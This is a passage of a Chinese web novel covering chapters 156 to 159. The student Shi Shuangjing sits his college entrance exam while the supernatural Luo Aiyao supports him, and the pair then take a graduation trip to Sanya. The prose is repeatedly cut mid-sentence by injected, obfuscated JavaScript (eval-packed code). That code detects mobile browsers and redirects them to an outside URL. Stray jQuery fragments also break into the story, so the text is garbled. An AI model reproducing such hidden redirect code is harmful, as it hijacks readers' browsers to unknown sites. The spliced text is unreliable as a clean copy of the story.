车程大约一个小时,罗爱曜开车进山,很快他们就看见了民宿招牌,车辆驶入停车场。民宿管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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二人去山里逛了逛,有树荫遮挡,加之远离城市热岛,山里气温适宜无比。施霜景掏出手机拍照,拍那些分不出品种的花草、竹林、树木,也很偶尔地拍了几张罗爱曜。不知何时起,施霜景的手机相册里多了很多照片,有自己的,有罗爱曜的,有双人的。罗爱曜在相机里依旧那么惊为天人,相机的所有定律在罗爱曜身上好像都不奏效。 民宿提供晚餐,施霜景早早就拉上罗爱曜去吃晚饭,晚上活动还多呢。两人在暮色中享用山野特色晚餐,罗爱曜不太喜欢民宿的自酿酒,施霜景接过来浅尝一口,原来如此,罗爱曜不喝带甜味的酒。 晚饭后,罗爱曜去茶室借了一套抄经的笔墨器具,亲自拎回树屋。施霜景晚饭后打开书包,做了一个多小时的卷子,罗爱曜则在另一张硬桌前,开始誊写自己的第一份经,是为佛子特书的全新妙法经咒。 不仅只有施霜景需要仪式感,罗爱曜亦需要。此梵文经咒由纸张的最中心开始,圆形顺时针围绕,一圈圈外延。中心写完,再转为方形的书写,书写的结构似曼荼罗。一笔未错,一气呵成。罗爱曜收笔,后退一步,端看这经文,心中满意。语言落定了,意识便落定了。罗爱曜已将新想法准确无误地记录了下来,与此同时,他能感觉到自己那倾圮的法界有一角在缓缓地修复、支撑起来。罗爱曜心定了,一切工作也终于可以进行了。 施霜景放笔,写完化学题了!他抬头看向罗爱曜,罗爱曜笑了笑,拎起经文,给施霜景看了一眼,未等施霜景感慨这经书之华丽、工整、艺术,施霜景就看见这经文连带纸张如燃烧般化作璀璨金粉,从罗爱曜指尖流逝。罗爱曜说,写完了就要放好,不能让你细看,看了对你的精神状态不好。 汤池的水已放好了,室外氤氲雾气。“走吧,泡温泉。”罗爱曜拍掉手里的金沙,经咒是附带的,享受才是正题。 156.大智若愚篇(十九) 高考前一周,刘茜特意上门,与罗爱曜商讨施霜景的高考事宜。 刘茜开门见山:“小景的高考考场在县中,中午不能回来吃饭。这是高考,不能像模考那样随便应付,我怕小景在外面吃坏肚子,打算给小景做好午饭,用保温饭盒装了饭送过去。佛子,你怎么看?” 你都这么问我了,我能怎么看?罗爱曜首肯:“我开车给他送过去。还有呢?” “高考要封路,能停车的地方可能会有点远,你恐怕还要走上一截路哦。” “无碍。我去校门接施霜景,回车里吃饭,顺便在车里休息,下午考试之前我再步行送他回考场。” 施霜景恍惚间觉得自己变成透明人,罗爱曜和刘茜来往对话,根本没问过施霜景的意见。施霜景就这样眼珠来回挪转,一会看看罗爱曜,一会看看刘茜。他真的是家里的晚辈啊。只有怀里的玉米比他辈分更小。施霜景没想到罗爱曜打算陪考,罗爱曜也没先跟他打声招呼。这半年来,施霜景算是受尽照顾,现在面临他人为自己着想的情景,施霜景呈现一种幸福的愚钝,他们说什么都好。 刘茜连菜单都想好了,高考这两天,刘茜送饭上门,施霜景和罗爱曜不要去外面吃,也不用买着吃。吃了奶奶做的饭,小景一定顺顺利利的。刘茜看起来比施霜景还紧张。福利院太久没有出过需要高考的孩子,刘茜对流程都生疏了,所以才要提前准备。 高考前的最后一周都需要做什么呢?周一,做题,复习,假装高考不是这周六。周二,做题,老师反而比学生还躁动,具体的题目讲不下去了,反反复复念叨那些考试的重点,对了,明天要拍毕业照,拍完就要……要放复习假了呀。周三、周四是复习假,周五去看考场,周六就考试了。 励光厂进入六月以后就是全然的夏天了,可拍毕业照还是穿长袖的校服比较好看。施霜景整理衣领,他个子高,老师把他调到最后一排,太阳炫目得根本看不清相机镜头,脚下的铁楼梯发出吱嘎吱嘎的声音,施霜景被挤到中间,那些最后一个月不来上课的学生们也都回来了,来回收高中生活的最后一个句点。三,二,一,茄子!好,我们再来几张!老师们不要那么紧张嘛!好,大家笑一笑,做点搞怪动作,三,二,一…… 原来记忆可以如此色彩明亮,绿油油的假草坪操场和红砂跑道,积云的晴日天空像一锅白汤,男孩的荧光色球鞋,女孩的粉唇膏,这些视觉信息洪水般涌入施霜景的感官,学生们终于可以光明正大地拿出手机,眼前一闪而过的手机壳有着海绵宝宝的黄。镜头翻转,一人、两人、三人的自拍。施霜景没有想过留什么自拍,因为他的自拍技术约等于没有,但他意外地很受女孩子们的青睐,平日里几乎不说话的女孩子们都邀请他自拍。施霜景趁机加了很多同学的微信,希望他们把照片也发自己一份。男孩子们倒是对此很不屑,认为照片不如记忆——可事实上,照片就是记忆,甚至记忆就只是照片而已。 大家回班级收拾课桌,把书本都带回家。是谁先掏出了第一支黑色签字笔呢?施霜景的校服最后集了十六个签名。施霜景记得自己初中毕业时也干过一样的事,可才短短三年,他就已经找不到初中校服了。高中的校服又能留多久呢?管他呢。签了再说。 励光厂高中禁止学生洒书册,要求毕业的学生把书都背回家。有人拿行李箱拖书,有人拿蛇皮袋扛书,施霜景尽管只复学了两个月,可遗留的书本还是多得要死,他装了一书包加两个帆布袋,这才把书扛回家。 施霜景对正在工作的罗爱曜说:“竟然这么快就要高考了。我怎么觉得像做梦一样呢?” 罗爱曜头也不抬地吐槽道:“你的精力真旺盛,我看你这大半年备考倒也什么都没落下。” 施霜景哼着小歌收拾东西去了。下午在家复习,明天李婉萦上门做最后一天的家教,后天去看考场。 周四,李婉萦早早地就到了施霜景家,带一份她以金墨抄写的《文昌帝君阴骘文》,祝施霜景金榜题名。愈是到了考试,愈是不能再着急了。多看一题是多抱一回佛脚,可“临时抱佛脚”这五个字对施霜景来说简直是脱口秀爆梗,谁说都得笑。施霜景问李婉萦当年的高考经历,李婉萦娓娓道来,讲她高考前一天突然拉肚子,担心得要死,但不敢跟陪考的爸爸说,只能逼自己晚上入睡。她高考还租了考点附近的酒店呢,她家在小村庄里,相隔太远,来回路上怕出意外,索性租三天酒店……李婉萦回忆她的高考故事,已是云淡风轻,施霜景听她的故事也如细风拂面。傍晚时分,李婉萦要走了,罗爱曜从书房出来,包了一个大红包,感谢李老师这些天兢兢业业教施霜景。李婉萦使出传统的红包撕吧之术,不愿意收,毕竟罗爱曜给的工资已经很离谱了,还没出分数呢,等录取了再给吧。在施霜景的劝说下,李婉萦最终还是收下了大红包,朝施霜景和罗爱曜深深鞠了一躬,这才缓缓下楼,淡出二人的视线。 周五看考场,不是所有人都必须去。罗爱曜开车送施霜景,顺带熟悉路线,也得找好停车的位置。明天施霜景会跟校车去县中,就像之前模考那样。施霜景拍下了自己的准考证,独自进学校找考场。张国强说准考证明天再发,怕有粗心的孩子忘带准考证。罗爱曜很快就找到了附近的公用停车场,但他觉得明天够呛能停进来,今天就已经见到有许多车辆占了进去,不像会挪窝的样子。 罗爱曜灵活一打方向盘,找了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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施霜景进入校车,找靠窗位坐下,他朝罗爱曜挥挥手,意思是中午见。罗爱曜没等校车发动就走了,很像他的作风。可十五分钟后,施霜景幻听了机车的动静,视线里驶入一辆熟悉的机车,戴头盔的那人朝施霜景比了个手势。再过十五分钟,全员到齐,校车发动。家长们激动地呐喊,祝考生考的全会、蒙的全对。街边那辆镀蓝的机车在三分钟后上路,很快就跟上了校车。 到达县中门口,考生熙熙攘攘,张国强让他们再次检查准考证,不要落在车上。施霜景下意识张望,视线寻找罗爱曜。很快,他远远地看见那个瘦高的身影。罗爱曜远离人群,但高高地给他比了个大拇指,意思是“我相信你”。 罗爱曜是佛子,理应有千万种法宝可以帮助一位高中生获得他想要的分数,可罗爱曜不会那么做,施霜景也不会那么做。晨光熹微之时,施霜景摘下了项上的佛眼玄珠,交还给罗爱曜,他要清清白白去考试。替代佛眼的玄珠摘下了,真正的佛眼目送他进考场。罗爱曜已习惯不去看施霜景的未来,因为看施霜景的未来约等于看自己的未来。因为和他一起等未来,所以未来就是现在,再也没有等字,一步一步行走在路上,不会着急,也不再担心。 起风了。夏日清凉,这是属于施霜景的好兆头。 157.大智若愚篇(二十) 考语文实在没什么好说的。语文是施霜景的优势学科,感谢高考把语文放在第一门,施霜景用考语文的两个半小时来适应高考的紧张感。 写完作文,还剩十分钟,将答题卡翻回正面,检查条形码和密封条内的个人信息,然后施霜景从头检查一遍,是否有漏题、错填。厚张的答题纸手感亦是如此熟悉,施霜景恍惚间觉得这不是高考,只是又一场模拟考试。考场里有人还在奋笔疾书赶作文的最后两行,也有人像施霜景一样,静静等待收卷。施霜景的大脑今天特别安静,心无杂念,甚至有几分禅定意味。收卷铃响,考生纷纷放笔,老师收卷。窗户敞开,空气对流,施霜景再次深呼吸,让新鲜空气充盈肺部,考官清点完答题卡和卷子,确认所有草稿纸都已回收,她们提醒考生带好准考证,可以排队离开考场。 楼道的考生们喧喧嚷嚷,施霜景被推挤着下楼,到操场便豁然开朗,大家如蚁般往校门涌去。施霜景确认准考证收好了,耳朵不听其他考生对答案,径直走出校门,罗爱曜的身高和长相都显眼,施霜景从人堆里挤出来,成功与罗爱曜汇合,二人击掌。 两人迈着大长腿往停车场走去。罗爱曜还是聪明,昨天早早就停车占位,今天这停车场已塞得水泄不通,车辆进不来、出不去,有许多家长和罗爱曜揣着相同的心思,却晚来了一步。罗爱曜甚至还占了树荫下最好的车位,方便遮阴纳凉。二人都坐进后排,罗爱曜将保温饭盒一个个摆出来。 刘茜准备了三菜一汤,装在保温饭盒里,漂漂亮亮,色泽诱人。罗爱曜不知何时给车后排加装了小桌板,正好方便施霜景吃饭。 施霜景安静地吃鸡翅,没什么好说的,专心吃饭,吃饭重要。罗爱曜不闹他,兀自坐在前排的驾驶座前摆弄手机。施霜景确实饿了,他风卷残云,将三菜一汤加一碗饭全倒进肚子里,这才靠在后排座椅发饭晕。休息几分钟后,施霜景动手收拾饭盒残局,又用湿巾仔仔细细地擦了小桌板,将饭盒都打包好,下车,把饭盒放进后备箱,再扔掉手中垃圾。施霜景再次坐回车里,这次是坐进了副驾驶座。 “佛子,佛子哥,罗爱曜,借你的双手给我一用。”施霜景忽然诚恳道。 罗爱曜不解,但还是将双手递过去。 施霜景握住罗爱曜的双手,闭眼,倒没在许愿,纯纯就是蹭一点罗爱曜的仙气、佛喜,数学之神显灵吧显灵吧显灵吧!谁让罗爱曜数学那么好呢。 双手松开,施霜景纠结道:“下午考数学,我是小睡一觉呢,还是再看看错题本?” “睡吧,下午三点钟考试,现在才十二点二十。”罗爱曜拉开车前的抽屉,将真丝眼罩扔到施霜景腿上,“我两点十分叫你起床,你还能再看会儿错题本。” 如是所以,施霜景戴眼罩,放倒座椅,直挺挺地睡了。车窗开了两道窄缝,空调冷气与新鲜空气交换,罗爱曜做事妥帖,让人挑不出错处。怪不得施霜景昨日会情不自禁喊他爸爸,透过车窗看向外部,粗心的爸爸到处都是,像罗爱曜这样的对象不是爸爸、胜似爸爸。 下午两点四十,施霜景抵达教室,有那么一瞬,他什么公式、推导、题型都想不起来。这不是某种焦虑、恐慌的体现,而是类似沉入深海的体验。好沉浸,好未知,不害怕,不知道。施霜景在最后一次月考的数学考试中拿了九十二分。施霜景要相信自己。 三点到五点,数学考试。翻卷声响比语文考试大多了,学生们那翻来覆去的不解,翻来覆去的恐慌,翻来覆去的焦躁……施霜景意识到这回高考的数学题偏难,几乎是刚开始做大题就有阻碍感了。沉心,静气,做不下去就换下一道。施霜景熟练地确认墙上的钟表走针。所有大题都过了一遍,不是很乐观,施霜景从自己最擅长的数列题开始攻克。尽力而为吧。至于前面的选择题和填空题……在交卷前最后两分钟,施霜景蒙答案,这些题他都算不到尽头,拿不到确切的数字与选项,施霜景只能按自己的眼缘和直觉来选择。就这样了。 数学考试的恐慌感比语文考试简直多了数倍。施霜景几乎是一怔就怔到了散场。对答案的声音此起彼伏,施霜景考焦了,可他好像灵魂与身体分离了似的,身体沉重,灵魂轻飘飘地悬在背后,总之这种考砸了的感觉没有撼动到施霜景的精神本体。 他们要乘坐校车回励光厂,张国强清点人头,这一车的小孩们都垂头丧气,就连平时对考试没所谓的学生也被这氛围感染。大家都低头刷手机,据说今年的数学题目就是偏难,都上了热搜。施霜景戴耳机听歌,考过就忘,他绝对不在这个阶段对答案,影响考试的心情。 那辆机车始终与校车保持着合适的距离,一前一后驶向励光厂。 回到家,施霜景一言不发,抱着猫躺倒在大床上。罗爱曜去福利院打包晚饭了,比施霜景晚些到家。 施霜景已换上睡衣,仰躺在大床上,单臂掩着双眼,不知道是睡着还是闭目养神。罗爱曜没打扰施霜景,任他休息。施霜景就是这样的人,愈是难过,愈不会说,只能等他自己调整。玉米压在施霜景的肚皮上,不用看都知道它有点压秤,玉米扭头看向罗爱曜,一对猫瞳盯了罗爱曜一会儿,默默又回正了猫脸,趴卧下来,就是不挪窝。 晚上八点半,施霜景在漆黑的房间里睁眼,他吓坏了,还以为是半夜呢,一看时间,幸好幸好。 “晚饭在厨房,你自己热一下。”罗爱曜正加班加点地誊写自己的佛子新经,有时是手写、手抄,有时则是啪啪啪地敲电脑键盘,直接写电子档。 吃晚饭时,施霜景佯装不在意道:“我要是考砸了怎么办?” “读大专。” “要是大专都读不了怎么办?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671911|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “除非你明天两门都弃考,否则不会读不了大专。” 施霜景感觉舌头麻麻的,后知后觉犯紧张,食不知味,他说:“辛苦你教我数学,还教了这么久……我真的尽力了。” “施霜景,现在什么都不要想。分数没出,一切都还没尘埃落定。”罗爱曜久违地换上罗老师的语气,“考一科就忘一科,坚持考完最后一门。明天考完,你就放假了。你不期待暑假吗?这会是你人生中最长、最快乐的一个暑假。” 施霜景放下筷子,难得地将脆弱诉之于口:“抱抱我吧。你抱抱我,我就会振作起来。” 桌前的罗爱曜岿然不动,施霜景还在等呢,忽然被紧紧地搂住,绕紧施霜景的双臂,恨不能将施霜景捆起来。身后之人,体型细长高大,璎珞宝石叮当响……罗爱曜用法身将施霜景抱个满怀,施霜景吓一跳,这才意识到自己与罗爱曜的法身竟有如此大的体型差。施霜景不停挣扎,不敢再卖惨,连道不用了不用了,我能行我能行。这时人身的罗爱曜才合上电脑,表示他晚上会抱着施霜景睡觉,这分钟就请不要肉麻了。 高考第二天,上午考理综,下午考英语。 兴许是前一天的数学考试给了施霜景一个结结实实的下马威,施霜景早上醒来狂翻理综的错题本,上车看,下车看,根本没空理会任何人。 进考场,心里惴惴不安,可当施霜景拿到卷子、浏览题目那一刻,施霜景忽然像是被仙人拍了天灵盖——有一道化学大题,刚好和他早上复习的错题非常像!只这一下,状态归位,考试铃响起,施霜景安神定魄,从最擅长的生物开始。 多奇怪啊,高考的第二天为什么会那么快呢?上一秒才刚填写答题卡上的姓名,一转眼就考完了、交卷了。施霜景麻木地随学生大流出校门,同样的流程,找到罗爱曜、回停车场、吃饭、午休。然后就是最后一门了。 施霜景在很多很多天以后才向罗爱曜描述他当时的感受与想法:“好奇怪啊,考英语的时候,我满嘴都是嚼纸壳的感觉,又硬又软,没滋没味,可能因为我读题时一直在动嘴吧,就像在嚼什么东西一样……我做题做得飞快,笔都要飞出去了,巴不得马上就做完,马上就冲出教室。教室里有好多人提前交卷,我确实有点慌,但我知道,他们很多人没耐心了,比我还没耐心……但我还是把自己牢牢地压在椅子上,不能心急。我改了几个完形填空的选项,到现在我也不知道到底是改对了还是改错了,英语几乎全是选择题,我背不住。最后那几分钟,我一直在对答题卡上的准考证号,怕自己抄错,还怕前几门抄错。结束了。终于结束了。原来高考就是这样的。我扛过去了。” 罗爱曜则是回以玩笑与温柔并存的调侃:“放下执念,立地成佛。换作你身上就是放下高考。别再想了。不要让这场考试困住你的一生。” 158.大智若愚篇(二十一) 高考完的这个夜晚应该怎么度过?施霜景好像什么都可以做,什么都愿意试一试,只要不□□就行。这不是因为施霜景对上床这件事有意见,单纯只是人太放松的时候,会连最原始的欲望都丢掉。高考之前,□□被他们用作解压手段,需要时间来扭转他们的想法。 佛龛前的香最近从未断绝,这说明罗爱曜不再“睡眠”。无他,罗爱曜是在重建自己的法界与宝殿,那时悟出的新经需要全部转为可以理解的“语言”,重新编撰、修订,辅以必要的新仪轨检验……罗爱曜忙得像个大学教授。彻底解放的只有施霜景。在高考结束的这个夜晚,施霜景闲出屁来。他半躺在沙发上,用投影仪放罗爱曜看过的电影,可他连半个字都看不进去。玉米一直蹲在窗前,宁愿盯飞虫也不愿意陪施霜景,天气热了不挨人。 总之,高考结束了! 早上六点钟的闹钟准时响起,施霜景讷讷地按掉闹钟,并永久地删除了它。他后知后觉地有些兴奋,好像浑身包袱都给甩掉了,一身轻的施霜景该做些什么呢?好纠结啊!时至今日,施霜景的爱好与社交都算匮乏,加之他不是个有计划性的人,突然失去目标,施霜景的迷茫多过于喜悦。 吃早餐时,罗爱曜云淡风轻道:“去考个驾照吧。” 施霜景傻眼。他才高考完啊!马不停蹄奔赴下一场考试算个什么事呢?! 罗爱曜读到施霜景的想法,施施然道:“你拿到驾照,我就给你买车。” “月底才出分,我是不是应该在出分之前先玩个够本?”施霜景对车兴趣不大,他还是更喜欢做乘客,他怕罗爱曜给他派活,只能猛猛找替代,“比如,出去旅个游之类的……?我还没出过省呢。” 罗爱曜没有反对,他卸下“罗老师”这个身份,让施霜景自己做攻略,想去哪里自己挑。施霜景高考结束,罗爱曜近期则是找回了做“佛子”的状态,今日罗爱曜的回应稍显冷淡,不过施霜景一问,罗爱曜就如实说了,他打个比方,现在罗爱曜的大脑后台正高速运行着程序,内存快占满了,分配给日常交流的资源就有些不足,不过如果施霜景要出去旅游,罗爱曜不会扫他的兴,反正他们的日子还长得很。 在考驾照和出去旅游之间,施霜景选择睡觉。突如其来的困意把他打晕,脑袋一想别的事就疼。高考的后劲慢慢起来了,施霜景在家连躺三天,起床头疼,不起床也头疼,吃饭全靠外卖,期间刘茜上门来看他,只有那两个钟头施霜景老老实实坐到桌前,看起来还人模狗样的。 三天之期已到,施霜景这才挑选好了旅游地点。罗爱曜发觉施霜景做好了准备,要谈事儿了,就也把电脑一扣,专心地盯着施霜景,等施霜景发话。 “罗爱曜,咱们去海边吧!” 于是,高考完的第五天,飞机落地三亚。施霜景人生中第一次出省,第一次坐飞机,第一次去海边,第一次谈着恋爱旅游约会……一次性在这场毕业旅行里占了个齐全。六月的三亚如蒸笼,雨季低压湿热,不至于迎来台风,可也实在无法认为天气宜人。难道没有别的地方可去了么?没办法,因为施霜景没见过海,因为罗爱曜对旅行地点亦是有要求的。 首先,罗爱曜不去藏密聚集区,因此S省更往西边的方向他不去。西北也不去,罗爱曜现在很忌讳那片地界。如若要去沿海,罗爱曜暂时不去福建,因为福建的信徒今年才来拜过他,去那儿有种催促上班的感觉,不像是放假。施霜景则因为时间原因来不及办护照和签证,国外的海边是没戏了。他想下水,他想接触大海,最后才选定去三亚。下雨他认了,只要不刮台风就行。 人对境遇的突然改变既敏感又迟钝,敏感在于所有新鲜的细节都有着轰炸一般的威力,迟钝在于第一天感到新奇的事物,第二天就习以为常。 毕业旅行不是计划里一开始就有的东西,因此施霜景一开始就没有报以太大的期望。毕业旅行是不是应该要有“毕业”的感觉?比如,同学、好友、长长的旅游计划、必吃的美食、必逛的景点……要卸下压力,卸下考试后遗的紧张,卸下对未来的不确定性……但施霜景好像只是程式性地做了这些事。因为无事可干,所以去旅行。因为不想在三十七八度的天气立刻投入练车,所以去旅行。而且对一个没什么旅行经验的人来说,旅行到底意味着什么?这种种复杂而奇妙的情感交织在一起,等到达了目的地,施霜景久久地浸在一种晕机般的感受中,罗爱曜比施霜景要更像人、更自如,这不禁让施霜景疑惑:罗爱曜是怎么学习“做人”的?难道多活一千多年真就意味着做人的经验丰富么? 罗爱曜则是一边开着租来的车驶向酒店,一边心想:我也不知道。我只是知道人类在这个时候大抵会做些什么。程序到位了,体验就完成了一多半。剩下的那些真正有关“体验”的部分,谁又说得清呢? 施霜景陷在热带闷热潮湿的空气中,再次对时间的流速迷茫了。中午抵达三亚,一落地就直奔酒店,可施霜景压根不敢离开室内,每次一出门就像被塑料袋罩住了头似的,热到无法呼吸。施霜景躺在酒店的大床上,对罗爱曜发出灵魂质问:“你怎么不拦我?怎么会这么热啊!” 罗爱曜彼时正蹲下来整理行李箱里的衣物,慢条斯理道:“干嘛扫你的兴?外边天气很好,这整片海滩只有这一家酒店,不是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681301|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合你意么?” “罗爱曜,我肯定要被你惯坏了。” “被惯坏的人不会说这种话。” S省的夏天亦热,原来各个地区的热竟有如此大的差别。施霜景望着窗外的热浪,心里发怵,大窗里框出的海景倒是如碧玉,海滩上只有零星人影,都是酒店的住客在玩酒店自营的海上项目。事已至此,只好硬着头皮与炎热的天气开战了!施霜景连游泳装备和防晒霜都是当天现买的,他和罗爱曜基本就是只带了个人来。 只有在想到裸露皮肤的可能性之时,施霜景才会想起自己的双性身体。先是室内泳池、再是室外泳池,最后才是海边,施霜景一步步适应只涂防晒霜和穿泳裤的感觉。为了解暑,施霜景往室外跑几乎都是一头扎进泳池里,说来也神奇,施霜景会游泳,感谢刘茜带福利院的孩子们学游泳,这才让施霜景在泡海边无边大泳池时不露怯。罗爱曜则是躲在阳伞之下,无时无刻对着电脑,随时随地都能进入这种钻研的状态。有时施霜景叫罗爱曜别陪了,在房间里吹冷气干活不是更爽?可如果不是人身罗爱曜来陪,那就是法身罗爱曜,鬼魅一般出现在出乎意料的各处,有时是树下,有时是水池边,有时是玻璃幕墙之后,施霜景被盯得发毛,再没同罗爱曜提过“别跟了”这件事。 待施霜景与水十分熟悉了,他们便预约了上午的浮潜活动。教练确认大家会不会游泳,施霜景点头说会,罗爱曜则淡定地说不会。施霜景瞪大眼睛,罗爱曜非常释然,教练说不会游泳也可以浮潜,可施霜景跳出来双手比叉,不行,不能赌命。罗爱曜在心里非常熨帖地安慰施霜景道:反正我又不会死。 施霜景:为什么要这么说话呢?我会担心你,这不是正常的吗? 罗爱曜:这片海水很浅,还有教练在,收起你的担心。别将人类那套往我身上套,我会觉得有点奇怪。 施霜景:什么叫“将人类那套往你身上套”? 罗爱曜:…… 罗爱曜:算了,当我没说。 罗爱曜:淹死的都是会水的,我们听教练的指令就好。 罗爱曜:真下水的时候你可别害怕,我怕你求着我带你上岸。 施霜景:有教练在,我要求也是求教练啊。你抹防晒霜没有?对了,你不是人类。那我不管你了。 罗爱曜:怎么我们一天到晚就为了这些鸡毛蒜皮的事拌嘴,真费解。 施霜景:你那么聪明,干嘛问我? 教练有些尴尬,现在是淡季,他只用带这两位客人,可客人怎么都不说话的?他们到底认不认识对方?不对啊,他们不是同一间房的么?不管,笑一笑算了。 159.大智若愚篇(二十二) 毕业旅行拢共五天四夜,务必让施霜景玩得尽兴,玩到对海再也没有执念,一天下水三遍,施霜景即便涂了防晒霜也给太阳晒得焦焦的。施霜景在海边自己遛自己,上午十点以后水温就很适宜下海了,中午十二点到下午两点太热不行,下午四点到六点的太阳少了几分辣意,夕阳后踩在仍有余温的细沙上,夜色暧昧,海风燠热。 那天施霜景与罗爱曜二人一同浮潜,其实会水不会水根本没有区别,脑袋半压进海水里,耳朵嗡嗡的,咕嘟咕嘟的水泡像灵魂在海中呼吸,教练说他们可以看见珊瑚,可施霜景只看到好多鱼,好多小鱼。海底礁石很锋利,穿脚蹼的感觉很奇怪。施霜景仰头,将下巴抬出水面,忽然发现他们离岸好远。施霜景无心欣赏风景,满眼找寻罗爱曜和教练。有人在水下握住他的手,施霜景复又埋进水里,罗爱曜冷冰冰的体温就算在海水里都算冷的,海洋的蓝光一时间像罗爱曜惯常使用的明净蓝光,施霜景很快就平静下来。 在睡前的闲聊里,施霜景听见罗爱曜这样对他说:“我曾经一度想将我的密宗法身放在海底……也就是说,我也入海,将我的宝殿搭在像海一样的环境里,让法界浸入海中……与世隔绝,不需要担心人类世界的变幻与灾祸,这样的话,信徒只需要开船,到海上供奉我,这样也比较环保、无公害。他们把犯了错的祭品丢进来就好。在海里,没人会打扰到我。但相应的,如果我想要上岸,就需要花费比较多的时间。现在我确定了,我没有那么喜欢水,太阴湿、幽暗了。海底什么都没有。” 酒店的大床尺寸不一般,足以让个子高的罗爱曜往下滑还不掉下床。两人做完,施霜景气喘吁吁,罗爱曜轻车熟路地埋在施霜景的胸前,施霜景顺势抱住罗爱曜的脑袋,有时他借着床头灯捧起罗爱曜的脸,施霜景会第一千零一次感慨自己真是被这张脸给迷心了,人类到底无法抵抗美的事物。他们会说一些有的没的,施霜景还听罗爱曜说他早年间从来都是凌晨三点就起床,日出的时候早已工作好一会儿了,睡觉是罗爱曜模仿人类的假动作,有时他觉得自己愈模仿就愈靠近人类,仿佛有一天真的会成为人类似的。可只需要那突然的一个转念,他又全然不是人类了,装是装不出来的。施霜景嗯嗯啊啊地敷衍几句,心想,是啊,自从罗爱曜为了让施霜景“看见”而试图拟出人类形态的法身,自从施霜景真能看见这人形法身,施霜景更确定罗爱曜的非人。要知道,那异常美艳的人类法身可没有脸孔。一想到那霁蓝色经文绸布下什么都没有,施霜景就只想打寒战。 白天罗爱曜开车,带施霜景环岛兜风,时不时讲解这车应该怎么开,什么时候拉手刹,要怎样超车,记得与大车保持一定车距……罗爱曜讲得认真,就好像他认为施霜景一定能听进去似的。施霜景撑着脑袋有一搭没一搭的听,在一个月以后的科目一考试里竟然真的记得罗爱曜教的这些行车知识。 在即将离开三亚那天,施霜景邀罗爱曜去看日出。施霜景不可以小看这个二十九岁以前天天凌晨三点起床的罗爱曜,当施霜景醒来的时候,罗爱曜已经洗漱完毕,施霜景甚至还起晚了。他抓了抓一头乱发,换上衣服,抓起罗爱曜就往楼下冲。施霜景想看见太阳从海平面抬升起来的那一刻,正正好好的那一刻。他们穿过酒店宽阔的草坪,下台阶,又踩在软绵绵不受力的沙滩上,罗爱曜喊施霜景抬头,橙红色初阳像一滴墨水滴进湿润的画布,也滴进了施霜景的眼里。施霜景看呆了,罗爱曜则举起手机。 从这天起,罗爱曜养成了记录的习惯。他的藏经阁藏经千千万,为什么他不能作自己的密经?谁说密经非要是道理一般的文字,或是呓语一般的信咒?为什么不能是一段唤他情动的音视频?为什么不能是很多很多回忆?之所以为“密”,就是不能为外人道也,即便道了也不定会为他人所理解,是仅对他有用的密法。往日不再来,佛有佛的成住坏空,据说四劫轮回之后再有四劫,可就罗爱曜看来,当世的所有佛都还在“成”阶段,这听上去像是个轮回的时空观,可在现阶段仍是线性的。既然是线性,回忆的意义就会不断累积,一层一层叠上去,罗爱曜以这些幸福的回忆作金线、绣袈裟。罗爱曜如人类,得其乐,乐在其中,其中奥妙不可言,不可言体唯是圣人无分别知见之所觉……就这样无穷接龙下去,罗爱曜沉浸在这样幼稚的幸福中,如初闻法一般喜悦。 回到D市,再回励光厂,施霜景一进家就被玉米大声地骂了,喵喵叫个不停,尾巴高高翘起,还微微颤抖、炸毛,说不清它是愤怒还是兴奋。施霜景真被三亚的阳光给烤得焦糊,回家照镜子才发现自己黑了不少,到家了皮肤还发烫,也不知道有没有被晒坏。 玩过这一遭,施霜景又休息几天,就拿着驾校的宣传单去报名学车了。说来也搞笑,施霜景这人内向,但他一边内向一边精力充沛,默默给自己找事做。罗爱曜趁施霜景不在家的时候,点开一些教高考选校、填志愿的直播,还是要学习这类策略才行。 渐渐地,施霜景也不敢再逃避高考出分这个话题。原来他忙是为了不去想自己究竟考了几分这回事。罗爱曜光明正大地听选校直播,带着施霜景翻高考选校名录、做标记。 施霜景想要留在省内,甚至就留在D市,以施霜景自己的话来说就是:“为什么一定要换一个地方上学呢?好像到哪里都是上学和吃外卖……我要是走了怎么办?玉米怎么办?一起带过去吗?我不想去外省学习,也不想去外省生活。”古人说少不入蜀真是最恰当的,施霜景就是个活生生的例子。 既然以省内学校为目标,选校范围就小了很多。在高考出分的前十天,施霜景每天都在默默祈祷自己能多蒙对几道选择题。他的数学可真叫人伤心,这是罗爱曜教得最认真的一门,但也是施霜景发挥最差的一门。 刘茜依然对施霜景的专业选择很不理解。她是老会计了,退休以前就是国企会计,事情一样没少干,钱一分没多拿,头顶上悬着坐牢的风险,腆着脸和老总打交道,就这样老总还老想着坑她,做会计就是一不小心就犯了法、一不小心就得罪人。带孩子累不累?累。但孩子不会动不动就想送她进去平账背锅。那天傍晚刘茜请施霜景去福利院坐一坐、聊聊天,她撕开绿豆冰棒的包装,递给施霜景,然后施霜景第一次听刘茜爆粗口骂以前的上级,满耳荒唐事,听得施霜景都忘了啃冰棒。 